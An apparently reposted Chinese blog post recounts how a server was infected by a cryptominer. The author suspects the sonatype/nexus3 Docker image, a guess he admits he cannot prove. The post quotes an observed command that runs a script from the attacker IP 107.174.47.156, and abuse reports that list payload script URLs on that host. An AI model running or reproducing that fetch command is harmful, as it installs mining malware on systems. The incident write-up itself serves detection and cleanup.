博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
服务器被疑似挖矿程序植入107.174.47.156,发现以及解决过程(建议所有使用sonatype/nexus3镜像的用户清查一下)...
阅读量:5201 次
发布时间:2019-06-13

本文共 2587 字,大约阅读时间需要 8 分钟。

  此次服务器被植入挖矿程序发现起来较为巧合,首先是上周三开始,我通过sonatype/nexus3搭建的仓库间歇性崩溃,但是每次重新start一下也能直接使用所以没有彻底清查,去docker logs里查看发现是执行bash命令和powershell命令出错,没有想明白是什么原因。

  后来恰好ES更新7.0版本了,我一看“呦呵,7.0里面连type都没有了?”赶紧跟个风,于是把我运行很长时间的ES5.6+kibana5.6的镜像删除了,去官网pull了最新的ES和kibana镜像。在启动的过程中ES始终无法启动,我觉得似乎是nofile和nproc设置的问题,众所周知,ES创建进程和打开文件还是非常多的,也许默认值nproc=1024不太够?于是将limits.conf中的nproc改为64000,nofile改为102400,sudo reboot。ES7启动!

  之后两天相安无事,第三天突然ES程序崩了,由于我ES镜像设置的always restart,所以这就奇怪了,想连上服务器排查问题,发现ssh服务器被拒绝。

  ssh_exchange_identification: read: connection reset by peer

  这就奇怪了,好好的服务器怎么ssh不上去了呢,当时以为是ssh_server崩了,于是重启服务器,重启后一切正常。直到2天后复现了此错误。

  搜索之后发现此问题常出现于fork bomb,无限创建进程导致系统资源被占满,所以连接时没有资源才拒绝访问,过了一段时间,突然ssh上去了,执行ps -aux 发现了大量的bash任务

  bash -c "107.174.47.156/xxxxxxx.sh"

  搜索此IP,发现已经被几个人标记为:

       

Reported on 25 Mar, 2019 12:07:35 PMThis Server spreads mining malware and hacked our Server.This Server spreads mining malware and hacked our Server. http://107.174.47.156/mr.sh http://107.174.47.156/2mr.sh http://107.174.47.156/11 I Think this is proof enoughReported on 01 Apr, 2019 03:29:43 PMServer is hacking and mining crypto on hacked nodesServer is hacking and mining crypto on hacked nodesReported on 04 Apr, 2019 09:05:35 AMMining HackerMining Hacker

  确定中招了,侥幸的是,虽然此台服务器提供了很多的服务,但是除了kubernetes以及docker以外,全都是通过容器来提供的,那么就给我排查提供了不小的帮助。在服务器运行过程中,这些容器中绝大部分都是通过official认证的官方镜像下载的,小部分是通过dockerfile自己创建的,其中包含es,kibana,mysql,centos,ubuntu等等,还有少量几个是直接pull曾被至少1K人下载过的容器。其中包含pause以及sonatype/nexus3。

  先说pause,我在9台服务器上部署了kubernetes集群,只有提供服务的这台节点出现了此问题,所以应当不是pause容器的问题,那么只剩sonatype/nexus3了。说到这个镜像,此镜像其实比较活跃,每次nexus3版本更新都会更新,并且用户名就是sonatype,虽然没有official认证的字眼,但我本人一直觉得应该比较靠谱。

但是有两个疑点:

1、此镜像不提供Dockerfile,也就是说它要么是通过docker commit实现的,要么就是Dockerfile引用了某些不能被人所知的东西不愿意公开。(后来在我自己重新打包nexus3镜像的过程中,发现打包此镜像并不需要多复杂的shell命令,如果熟练的话完全可以通过dockerfile的方式进行创建,这样不提供Dockerfile就显得更加可疑了。)

2、通过docker logs查看日志时发现,此容器在不停的尝试执行bash命令和powershell命令。而其他容器都没有此问题。

3、这个容器启动时在不停的更新插件,这些插件不清楚是干什么的,如果某个插件的定位被篡改,那么很容易被植入某些奇怪的代码。

所以我觉得应当是此镜像的问题。加上这个用户一直未被official认证,所以我放弃使用此镜像构建maven仓库,改为手动容器构建。1天内仍未复现挖矿问题,待观察几天后可以下定论了。这个容器我使用了很长时间,但是直到上周三前还没出现过问题,所以我怀疑是它更新插件的代码早就被篡改了,新下下来的插件包含挖矿程序。我到现在依旧不认为pull次数超过10M的镜像有这么大问题会没人发现,所以我觉得可能是恰好我下载镜像的版本插件更新的IP有问题?本来没问题但是IP卖给别人了?DNS出错了?但是我建议使用此镜像的都清查一下,反正执行个 ps -aux | grep bash也不是什么麻烦事。

总结:下载非official的镜像需谨慎即使是这个pull了超过10M次的镜像,建议限制其内存以及CPU使用量。并且定期查看系统资源占用,及时发现问题。

 

更新:自建的mvn仓库并没有持续更新插件以及频繁创建powershell和bash,目前第三天使用良好,系统也没有其他程序创建挖矿程序,基本确定是那个container的问题了。极其建议没有官方镜像的功能使用团队或者自建镜像,尽量不要下载非official认证的镜像!

PS:我这个容器好像没有上报给Docker hub就被我删了,也没留什么图,现在去报告好像没啥证据,如果有人复现了此问题建议去Docker Hub官方提供截图证据。

转载于:https://www.cnblogs.com/gaoze/p/10784961.html

你可能感兴趣的文章
CSS:有点难的面试题①
查看>>
关于控制input输入整数最多为6位,小数点最多为4位的方法
查看>>
hdu1403 后缀数组入门题
查看>>
js倒计时
查看>>
IdentityServer4 密码模式认证
查看>>
Acne Diet - Number One FAQ Answered
查看>>
创建型模式之 建造者模式
查看>>
20145302张薇《Java程序设计》实验二报告
查看>>
20145302张薇 《网络对抗技术》 web基础
查看>>
fastjson 的简单使用
查看>>
[原创+分享]Mandelbrot Explorer
查看>>
HighCharts 具体使用及API文档说明
查看>>
(三)论sizeof与strlen之间的区别
查看>>
PHP MYSQL读取中文乱码的解决办法
查看>>
201521123023《Java程序设计》第9周学习总结
查看>>
首富王健林励志演讲:《再坚持一会儿》
查看>>
第二次冲刺3
查看>>
acdream.LCM Challenge(数学推导)
查看>>
成员变量与属性的区别
查看>>
利用js对象的特性,去掉数组中的重复项
查看>>